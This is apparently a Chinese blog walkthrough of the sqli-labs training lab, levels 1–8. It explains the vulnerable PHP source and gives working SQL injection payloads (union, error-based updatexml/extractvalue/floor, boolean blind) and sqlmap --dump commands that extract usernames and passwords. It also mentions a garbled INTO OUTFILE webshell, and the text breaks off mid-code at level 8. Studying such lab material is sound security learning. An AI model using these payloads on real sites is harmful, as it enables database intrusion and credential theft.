less-1(GET型、单引号、、联合查询)
include(),require()
error_reporting()
mysqli_connect()
mysqli_connect_errno()
mysqli_select_db())
die()
isset()
mysqli_query()
mysqli_fetch_array()
mysqli_error()
print_r()
less-2(GET型、数字型、联合查询)
less-3(GET型、单引号括号、联合查询)
less-4(GET型、双引号括号、联合查询)
less-5(GET型、单引号、报错回显)
updatexml()
concat()
extractvalue()
foolr()
group by的工作原理
less-6(GET型、双引号、报错回显)
less-7(GET型、上传文件)
less-8(GET型、单引号、布尔盲注)
substr()
ascii()
sqlmap猜解GET请求数据库
less-9(GET型、单引号、时间盲注)
sleep()
less-10(GET型、双引号、时间盲注)
less-11(POST型、单引号、联合查询)
less-12(POST型、双引号括号、联合查询)
less-13(POST型、单引号括号、报错回显)
less-14(POST型、双引号、报错回显)
less-15(POST型、单引号、布尔盲注)
sqlmap猜解POST请求数据库
less-16(POST型、双引号、布尔盲注)
less-17(POST型、UPDATE型、单引号、报错回显)
empty()
get_magic_quotes_gpc()
stripslashes()
addslashes()
ctype_digit()
mysqli_real_escape_string()
intval()
less-18(头部Uagent、INSERT型、单引号、报错回显)
USER_AGENT
REMOTE_ADDR
less-19(头部Referer、INSERT型、单引号、报错回显)
less-20(头部Cookie、单引号、联合查询)
setcookie()
header()
date()
前言:
文章业内跳转参考Markdown 简单美化
less-1
标题:GRT - Error based - Single quotes - String
我们直接贴一下第一关的php源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 # ' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysqli_error($con1));
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
上文的html标签语言就不讲了,很简单,我们直接从php内容开始
第一句
include("../sql-connections/sqli-connect.php");
include()
这是一个php文件包含函数,若是用户可对此处进行操作,是可能出现包含文件漏洞的。
PHP的包含文件函数有两个,分别是include和require。
作用:
在PHP中,您可以在服务器执行PHP文件之前在该文件中插入一个文件的内容。
include和require语句用于在执行流中插入写在其他文件中的有用的代码。
(注:此处是直接插入代码,与Python的调库不同,不需要带库前缀)
include和require除了处理错误的方式不同之外,在其他方面都是相同的:
语法:
include 'filename';
或
require 'filename';
我们看上述语句,是将一个sqli-connect.php文件的代码插入进来,我们贴一下sqli-connect.php的代码
sqli-connect.php
//including the Mysql connect parameters.
include("../sql-connections/db-creds.inc");
error_reporting(0);
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass);
// Check connection
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
?>
这里第一句也是插入了一个db-creds.inc文件,我们直接贴代码
db-creds.inc
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
因为现在包含三个文件,我们用递归的方式就依次看这个三个文件,先是db-creds.inc
分别定义了一系列变量并赋值,从上到下依次是:
$dbuser =‘root’; (mysql连接用户名)
$dbpass =‘root’; (mysql连接密码)
$dbname =“security”; (数据库名)
$host = ‘localhost’; (地址,这里是连接本地数据库,所以是localhost)
$dbname1 = “challenges”; (数据库名)
db-creds.inc搞定了,我们去看sqli-connect.php代码
error_reporting(0);
error_reporting()
定义:
error_reporting()函数规定报告哪个错误。
该函数设置当前脚本的错误报告级别。
该函数返回旧的错误报告级别。
语法:
error_reporting(report_level)
可选。规定当前脚本的错误报告级别。
error_reporting(0);
指禁用错误报告
详细的各个报告级别详见PHP error_reporting() 函数
$con1 = mysqli_connect($host,$dbuser,$dbpass);
mysqli_connect()
函数打开一个到MYSQL服务器的新的链接。
语法:
mysqli_connect(host,username,password,dbname,port,socket);
host 可选。规定主机名或 IP 地址。
username 可选。规定 MySQL 用户名。
password 可选。规定 MySQL 密码。
dbname 可选。规定默认使用的数据库。
port 可选。规定尝试连接到 MySQL 服务器的端口号。
socket 可选。规定 socket 或要使用的已命名 pipe。
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
?>
mysqli_connect_errno()
mysqli_connect_errno()
定义和用法:
函数返回上一次连接错误的错误代码。
@mysqli_select_db($con1, $dbname)
先讲一下 @的作用
@是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。我们的目的是用户不应该看到后端任何其他信息。
其次是
mysqli_select_db()
mysqli_select_db() 函数用于更改连接的默认数据库。
语法:
mysqli_select_db(connection,dbname);
这里是更改连接,指定了$dbname的数据库
die ( "Unable to connect to the database: $dbname")
die()
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名,类似于python的print()。
sqli-connect.php搞完了,我们继续看主文件PHP代码
isset($_GET['id'])
isset()
函数用于检测变量是否已设置并且非 NULL。
语法:
bool isset ( mixed $var [, mixed $... ] )
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
这里用来判断前端传来的请求包内的id是否为NULL
$fp=fopen('result.txt','a'); //打开一个txt文件
fwrite($fp,'ID:'.$id."\n"); //将id值写入
fclose($fp); //关闭文件
这里是打开一个result.txt文件,将前端传来的id的值记录进去,类似于网页的日志文件
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里是将id的值传进来与其他字符构成一整个SQL查询语句传给sql变量,这也是基本上SQL注入产生的原因,就是直接将SQL语句拼接,解决办法就是对SQL语句进行预编译,这个以后再说,我们先了解常见的SQL注入问题及其产生原因
$result=mysqli_query($con1, $sql);
mysqli_query()
mysqli_query() 函数执行某个针对数据库的查询。
语法:
mysqli_query(connection,query,resultmode);
connection 必需。规定要使用的 MySQL 连接。
query 必需,规定查询字符串。
详见:mysqli_query() 函数
这里呢就是前面咱们构建的数据库连接与查询语句,返回查询结果
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
mysqli_fetch_array()
函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。
这里是将一段结果集以数组的方式输出,MYSQLI_BOTH是其中一直输出格式
print_r(mysqli_error($con1));
mysqli_error()
函数返回最近调用函数的最后一个错误描述。
语法:
mysqli_error(connection);
connection 必需。规定要使用的 MySQL 连接。
print_r()
print_r() 函数用于打印变量,以更容易理解的形式展示。
语法:
bool print_r ( mixed $expression [, bool $return ] )
$expression: 要打印的变量,如果给出的是 string、integer 或 float 类型变量,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。
$return: 可选,如果为 true 则不输出结果,而是将结果赋值给一个变量,false 则直接输出结果。
我们现在开始做题,我们已黑盒测试来做,但结合源码分析
提示我们输入id值,我们给个 id=1
http://localhost/sqli/Less-1/?id=1
SELECT * FROM users WHERE id='1' LIMIT 0,1 //1是我们前端传的值
如果看过数据库就知道
username:Dumb,password:Dumb确实是数据内的一行
我们甚至只需要改id值就能查询出所有账号密码
我觉得这已经算拿到需要的数据了,及时数据量非常大,我们也可以用脚本实现抓取
但我认为作者本意并非如此,或者说我们不该猜测id=1,我们应该猜id=helloword,因为我们在不看源码不知道他是数字型还是字符型,我们给个加个单引号 id=1’试试
我们判断是否有注入点一般是通过三个方面,如果满足以下三点,基本可以断定存在注入点
1. id=1'
加单引号报错,这里的单引号,是泛指
,泛指特殊符号,因为SQL隐式转换
的原因,一般是加闭合符号
使其报错
2. id=1 and 1=1
返回正确结果,这里1=1
也是泛指,泛指加入true
的查询语句会不会执行
3. id=1 and 1=2
返回错误,这里1=2
也是泛指,泛指加入false
的查询语句会不会执行
http://localhost/sqli/Less-1/?id=1'
这边报错了,还爆出了查询语句后半段,我们可以看出是字符型,但我们还是再,我们对比直接在Navicat里查的看看
我们再试试 and 1=1
http://localhost/sqli/Less-1/?id=1 and 1=1
and 1=2
http://localhost/sqli/Less-1/?id=1 and 1=2
源码可以看出这是字符型注入,但**‘1 and 1=1’与’1 and 1=2’**却没有报错
Navicat查询结果也是有值的
而我们的数据库内容是这样的
为什么id值不匹配却能查询到数据呢?
这就设计MySQL的 隐式转换
了
我们看到
id字段是int类型,在做where判断时 ‘1 and 1=1’ 与 ‘1 and 1=2’ 均被转换为数字 1 了,所以才会显示正确页面
隐式查询还是自己看一下,因为很有可能在insert或delete时误操作,造成重大损失。
由于确定了注入方式为字符型
我们输入以下两段payload试试
http://localhost/sqli/Less-1/?id=1' and '1'='1
对应的查询语句
SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1
//返回正确页面
http://localhost/sqli/Less-1/?id=1' and '1'='2
对应的查询语句
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1
//返回空值
可以推测此处可能存在注入点
然后判断字段数量
http://localhost/sqli/Less-1/?id=1' order by 3 -- - //页面正常显示
SELECT * FROM users WHERE id='1' ORDER BY 3 -- -' LIMIT 0,1
http://localhost/sqli/Less-1/?id=1' order by 4 -- - //报错1054 - Unknown column '4' in 'order clause'
SELECT * FROM users WHERE id='1' ORDER BY 4 -- -' LIMIT 0,1
以此可推断字段数为3个
order by 后面跟 列名或数字
,基于此列排序,上述order by 4报错,说明没有第四列
然后查看页面显示的字段有哪些
http://localhost/sqli/Less-1/?id=1' union select 1,2,3 -- -
SELECT * FROM users WHERE id='0' union select 1,2,3 -- -' LIMIT 0,1
//这时候id要么给错误值、要么为空,不然因为是联合查询还是会输出账号密码
这边我们可以看到页面显示出为字段2,3
我们看PHP源文件可以看出来是username,password
显示数据库名和登录用户
http://localhost/sqli/Less-1/?id=0' union select 1,DATABASE(),USER() -- -
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),USER() -- -' LIMIT 0,1
http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -' LIMIT 0,1
information_schema是mysql的一个数据库,tables是他其中的一个表,表中记录了所有数据的所有表名信息,包括表名,所以我们加了判断条件where table_schema = 'security'
,只查数据库为security的表
group_concat(table_name)
group_cancat()
很关键,因为前端页面只能输出一行,而group_cancat()将table_name字段的值以逗号分割开并一行打印输出
查询表下的所有字段
http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -' LIMIT 0,1
查询所有用户名用户名密码
http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -' LIMIT 0,1
concat_ws() 函数是一个拼接字符串函数,间隔符使用0x7e,代表的是 ~ 符号
结果如下:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
所以这是一个GET型字符型注入
less-2
标题:GET -Error based - Intiger based
我们按照上一篇文章的步骤做测试
判断注入点
单引号 //报错
and 1=1 //页面正确
and 1=2 //页面错误
判断字段数量
order by 5 -- -
判断数据前端数据显示位置
union select 1,2,3,4-- -
显示用户和数据库信息
union select 1,user(),database(),4 -- -
显示指定数据库的所有表名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3,4 -- -
查看指定表有哪些字段
union select 1,(select group_cancat(column_name) from information_schema.columns where table_schema = 'security' and table_name= 'users'),3,4 -- -
查看对应字段的所有值
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3,4 -- -
我们先查看一下源码,我们发现除了这一句以外与第一关的代码都是一样的
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
第一关什么样呢
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
一个是数字型,一个是字符型
我们还是按流程来,第一步是测试是否包含注入点
http://localhost/sqli/Less-2/?id=1'
SELECT * FROM users WHERE id=1' LIMIT 0,1
//报错,并且曝出部分查询语句
http://localhost/sqli/Less-2/?id=1 and 1=1
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1
//页面正确
http://localhost/sqli/Less-2/?id=1 and 1=2
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1
//空值
由此可判断,此处大概率存在注入点,且为数字型注入,我们按照步骤来
判断字段数量
http://localhost/sqli/Less-2/?id=1 ORDER BY 4 -- -
SELECT * FROM users WHERE id=1 ORDER BY 4 -- - LIMIT 0,1
//报错
http://localhost/sqli/Less-2/?id=1 ORDER BY 3 -- -
SELECT * FROM users WHERE id=1 ORDER BY 3 -- - LIMIT 0,1
//正确
判断数据前端数据显示位置
http://localhost/sqli/Less-2/?id=1 union select 1,2,3 -- -
SELECT * FROM users WHERE id=1 union select 1,2,3 -- - LIMIT 0,1
但这时候并没有显示数据显示点,是因为什么呢,我们Navicat查询看一下
因为id值为1是正确的,且查询语句limit 0,1只显示第一行,所以我们看不到第二行的值,这时候我们将id值改为错误的或者让联合查询语句前部分为空值即可
http://localhost/sqli/Less-2/?id=1 and 1=2 union select 1,2,3 -- -
SELECT * FROM users WHERE id=1 and 1=2 union select 1,2,3 -- -LIMIT 0,1
这时候就显示数据显示点了,后面的就跟第一关一样,我们直接查询用户名密码
http://localhost/sqli/Less-2/?id=1 and 1=2 union select 1,(select GROUP_CONCAT(CONCAT_WS(0x7e,username,password))from users),3 -- -
SELECT * FROM users WHERE id=1 and 1=2 union select 1,(select GROUP_CONCAT(CONCAT_WS(0x7e,username,password))from users),3 -- - LIMIT 0,1
less-3
标题:GET - Error based -Single quotes with twist - string
我们先不看源码,我们按步骤来测试
localhost/sqli/Less-3/?id=1'
//报错,并曝出后半段查询语句 '1'') LIMIT 0,1
localhost/sqli/Less-3/?id=1 and 1=1
//显示正确结果
localhost/sqli/Less-3/?id=1 and 1=2
//显示正确结果
这里其实已经爆出来后半段查询语句,我们也能看出来闭合是 ‘),我们先假设没有此报错信息
这边还是隐式查询导致的,只能由此判断非数字型,而是字符型,我们按’(单引号)闭合试试
localhost/sqli/Less-3/?id=1' and '1'='1
//显示正确结果
localhost/sqli/Less-3/?id=1' and '1'='2
//显示空值
是不是这样可以确定是单引号闭合呢?我们继续按步骤测试
localhost/sqli/Less-3/?id=0' order by 3 -- -
假设看不到报错信息,由此我们也可以推断闭合符号不匹配
常见的闭合符号有
’
)
"
")
')
'))
无非就是单引号、双引号、括号组合,而当时我们用单引号闭合为什么好像正确呢,我们看PHP的代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
我们带入看查询语句
关于MySQL的布尔转换
,为方便理解,我们把LIMIT 0,1去掉
localhost/sqli/Less-3/?id=1' and '1'='1
SELECT * FROM users WHERE id=('1' and '1'='1')
localhost/sqli/Less-3/?id=2' and '1'='1
SELECT * FROM users WHERE id=('2' and '1'='1')
localhost/sqli/Less-3/?id=2a' and '1'='1
SELECT * FROM users WHERE id=('2a' and '1'='1')
localhost/sqli/Less-3/?id=1' and '1'='1
SELECT * FROM users WHERE id=('1' and '1'='1')
and前面的 ‘1’ 在这里是被转换为数字 1 数字 1
and后面的 ‘1’=‘1’ 代表TRUE
前面的数字1看到后面的TRUE,又被转换成TRUE做布尔逻辑运算,最终得到TRUE与id值判断,所以这里的结果跟下面的查询语句结果是一样的
SELECT * FROM users WHERE id=TRUE
自动转换
≥1
的数值会被转换成TRUE
0或其他非数字开头字符串
会被转换成FALE
为什么说是非数字开头的,这里还涉及上一章博客讲到的*隐式转换
,就像第三句
'2a'
先是隐式转换 为 数字2
,然后因为与布尔类型运算,又被转换为TRUE
同样的道理,导致第四句输出为空
所以可能导致误判,注意此处
后面的就跟前面的流程一样,只是闭合是 ')
我们直接查账号密码
localhost/sqli/Less-3/?id=0') union select 1,(select group_concat(username)from users),(select group_concat(password)from users) -- -
查询语句
SELECT * FROM users WHERE id=('0') union select 1,(select group_concat(username)from users),(select group_concat(password)from users) -- -') LIMIT 0,1
less-4
标题:GET - Error based -Double Quotes - String
http://localhost/sqli/Less-4/?id=1'
//回显有值
http://localhost/sqli/Less-4/?id=1 and 1=1
//回显有值
http://localhost/sqli/Less-4/?id=1 and 1=2
//回显有值
可以确定不是数字型注入
,继续试
http://localhost/sqli/Less-4/?id=1' and '1'='1
//回显有值
http://localhost/sqli/Less-4/?id=1 and '1'='2
//回显有值
闭合符合不含单引号
最后试出来是 ")
http://localhost/sqli/Less-4/?id=1") and ("1")=("1
//回显有值
http://localhost/sqli/Less-4/?id=1") and ("1")=("2
//空值
后面的测试流程跟前面一样,我们直接看账号,密码
http://localhost/sqli/Less-4/?id=0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) -- -
SELECT * FROM users WHERE id=("0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) -- -") LIMIT 0,1
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
这里有一个PHP的算术运算符并值
连接两个字符串,类似于Python的+号
a = "Hello"."Word"
a的值为"HelloWord"
所以这是一个 ") 闭合的GET型字符型注入
less-5
标题:GET - Double Injection - Single Quotes - String
http://localhost/sqli/Less-4/?id=1'
//报错回显
http://localhost/sqli/Less-4/?id=1' and '1'='1
//页面显示正确,无回显值
http://localhost/sqli/Less-4/?id=1' and '1'='2
//页面显示空值
我们试出来是 '
闭合
有报错信息但是无数值回显,我们看一下PHP源码
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
print_r(mysqli_error($con1));
echo "";
echo '';
}
}
else { echo "Please input the ID as parameter with numeric value";}
我们能看到,及时值查询成功也不会回显值
这时候只能通过后面的
print_r(mysqli_error($con1));
这句代码来回显我们想要的数据,那怎么搞呢,通过三个报错函数updatexml()、extractvalue()、floor()
updatexml()
语法:
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
通俗的将就是找到数据替换数据,第一个参数和第三个参数我们是用不到的,用到的是第二个参数,且是他的报错返回值
。
我们了解一下什么是XPath
XPath是一门在XML文档中查找信息的语言,我们输入一下参数试试
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version()),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,version()),0) -- -' LIMIT 0,1
concat()
concat()是一个字符串连接函数,0x7e
代表的是 ~ ,之前好像说过,回显原理是什么呢,我们目的是填写错误的xpath参数使查询报错,报错时会把xpath位置的查询结果暴露出来,xpath规范
大家可以自己查一下规范,如果不加 ~
呢
回显会显示不全,因为结果可能前半段符合xpath规范,后面就不符合了(我猜的,因为我不想深究这玩意),假设前面加个 ~
就直接在源头不符合规范了,还是那些获取数据查询语句只是放在 updatexml()
内了,我们直接获取用户名密码
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from users)),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from users)),0) -- -' LIMIT 0,1
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0) -- -' LIMIT 0,1
除此之外还有
extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询的字符串
语法:
ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
http://localhost/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1))) -- -
SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1))) -- -' LIMIT 0,1
foolr()
这个原理就比较勾八麻烦了
我们先看成果
http://localhost/sqli/Less-5/?id=1' and (SELECT 2 from(select count(*),CONCAT(DATABASE(),floor(rand(0)*2))x from users group by x)a)-- -
SELECT * FROM users WHERE id='1' and (SELECT 2 from(select count(*),CONCAT(DATABASE(),floor(rand(0)*2))x from users group by x)a)-- -)' LIMIT 0,1
下面这些东西都参考自Mysql报错注入之floor(rand(0)*2)报错原理探究
我呢就再手敲一遍,我学习喜欢边读边敲字
我们先看一下
rand()
返回0到1的随机数,他是一个伪随机
函数, rand(0)
内的0
是种子,固定种子产生的随机数都是一样的
如下:
floor(rand(0)*2)函数
floor()
函数返回小于或等于x的最大整数,上述就是将0到1的随机数乘以2之后再向下取整,结果如下
因为种子固定,此序列也是固定的
011011…
group by
主要对数据进行分组(相同的分为一组)
floor(rand(0)*2))x
这里是将 floor(rand(0)*2))
叫为x
,就是起个别名,如下
count()
统计结果的记录数
所以当我们采用下面语句时
select count(*),floor(rand(0)*2) x from users group by x
字面意思,这句话本义是统计后面产生随机数的种类并计算每种数量,按理说13个数据,0110110011101,0是5个,1是8个,但此处却产生了报错
group by的工作原理
为什么呢?关键是要理解group by函数的工作过程,group by key在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新时,不再计算rand值)
;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)
要理解这个,就要考虑下面两条
我们目的是生成这样一个表,key代表这个值是主键,唯一的,上面我们也讲了,group by 循环遍历表,我们第一次遍历,第一次调用rand(0)
,floor(rand(0)*2)
计算结果为0
所以我们走第二步
这时候又要重新计算去插入值
第二次计算结果是1
,所以实际我们插入的是1
,count(*)
对应的值也是1
,如下:
然后我们继续遍历第二条,一定要注意不要跟我们上面讲解rand()函数的混淆了,rand()计算结果的顺序一样,并不是生成的表每行结果一样,我们遍历第二条,也需要计算,第三次计算结果为1
我们对应虚表内,发现此值是存在的,所以走第一条
我们更新数据即可,所以count(*)
数值+1
即可,如下:
遍历第三条,第四次计算结果应为0
我们查虚表是没有0的所以走第二条
重新计算
插入新行,而key是主键,是唯一的,现在我们要插入新行,产生主键冲突,也就是 Duplicate entry的报错。
是不是很勾八繁琐,还没完呢
这时候我们把想查的数据concat()进去
select count(*),concat(database(),floor(rand(0)*2))x from users group by x
数据库是security
,而后面并进去的1
,是冲突的主键
那我们之间把上面语句and进去可以吗
SELECT * FROM users WHERE id='1' and (select count(*),CONCAT(DATABASE(),floor(rand(0)*2))x from users group by x)-- -)' LIMIT 0,1
不可以,报了个错,Operand should contain 1 column(操作数应包含1列),因为什么呢,and后面的语句生成的是一个虚表
,而我们需要的是一个布尔值,所以我们需要将and后面查询改为布尔值。
select * from users where id=1 and (select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from users group by x)a)
这样and语法逻辑上就没问题了
所以我们最终的paylaod是
http://localhost/sqli/Less-5/?id=1' and (SELECT 1 from(select count(*),CONCAT(DATABASE(),floor(rand(0)*2))x from users group by x)a)-- -
SELECT * FROM users WHERE id='1' and (select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from users group by x)a) -- -' LIMIT 0,1
less-6
标题:GET -Double Injection - Double Quotes -String
按步骤来测闭合,
localhost/sqli/Less-6/?id=1"
//报错,并曝出后半段查询语句
localhost/sqli/Less-6/?id=1"
//返回正确页面
localhost/sqli/Less-6/?id=1"
//空值
经测得闭合为"
的报错型GET型注入
和第五关一样,我们直接打印结果吧
updatexml()
localhost/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id="1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -" LIMIT 0,1
localhost/sqli/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -
SELECT * FROM users WHERE id="1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -" LIMIT 0,1
http://localhost/sqli/Less-6/?id=1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT * FROM users WHERE id="1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -"LIMIT 0,1
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
less-7
标题:GET - Dump into outfile - String
'))
闭合get型报错型注入
和前面两关一样,只展示一下updatexml()
updatexml()
http://localhost/sqli/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id=(('1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -')) LIMIT 0,1
但我们发现标题是 GET - Dump into outfile -String
sql的文件导出漏洞,这牵扯到MySQL的一个函数
SELECT … INTO OUTFILE
语句来简单的导出数据到文本文件上。
这就可以向服务器挂马
这个比较
但你去导出文件会报错
You have an error in your SQL syntaxThe MySQL server is running with the --secure-file-priv option so it cannot execute this statement
出现这个错误是因为没有给数据库指定写出文件的路径或者写出的路径有问题。
可以使用
show variables like '%secure%';
查看数据的存储路径,如果secure_file_priv是null的时候就证明在my.ini文件里没有配置写出路径。这时候去mysql.ini文件的[mysqld]代码下增加secure_file_priv=D:/OUTFILE,就是加个指定路径就可以导出文件了,所以这个东西应该很难利用起来
假如可以我们可以按如下传个一句话木马什么的
')) union select "sql']);?>" into outfile '路径'
这里我不写了,不想写
less-8
标题: GET - Blind - Boolian Based - Single Quotes
http://localhost/sqli/Less-8/?id=1'
//空
http://localhost/sqli/Less-8/?id=1 and 1=1
//有值
http://localhost/sqli/Less-8/?id=1 and 1=2
//有值
http://localhost/sqli/Less-8/?id=1' and '1'='1
//有值
http://localhost/sqli/Less-8/?id=1' and '1'='2
//空
http://localhost/sqli/Less-8/?id=1' order by 3 -- -
//有值
应该是'
闭合的布尔型盲注
我们就可以用以下方式去猜测字符串
如下:
localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>115 -- -
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>115 -- -' LIMIT 0,1
localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- -
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))=115 -- -' LIMIT 0,1
substr()
是个截取字符串函数,substr(database(),1,1)
意思是截取数据库名,从第一个字符开始截取一个字符,我们之前知道数据库是 'security'
,所以截取的字符是 's'
ascii()
是将字符转换为ASCII码
,'s'
对应的ASCII码是115
所以上述操作对字符进行了两次猜解,判断数据库名第一个字符是否>115
,不大于所以页面返回空,第二次猜解发现其等于115
,可以得知数据库第一个字符是's'
。
当然这是我们知道的前提下,不知道的话需要一点点用二分法猜解,非常慢,所以一般这种注入需要工具来猜解。
sqlmap猜解GET请求数据库
我们使用sqlmap对其猜解,sqlmap使用方法大家自己搜,我不可能挨个介绍每个命令,我只能用到什么说什么
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" --dbs
直接曝出数据库
sqlmap同时也给我们列出了注入类型以及所使用的payload
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
PHP内是写了个记录文件的,我们一跑直接插了一百多kb的东西进去,所以用sqlmap很容易给人家网站数据库插入很多脏数据
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -tables
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -T users --columns
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -T users -C "username,password" --dump
爆出所有字段值, -C 用来指定字段
sqlmap跑完这几条数据就插了这么多数据,所以还是不要乱搞
我们看一下源码
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
else
{
echo '';
//echo 'You are in...........';
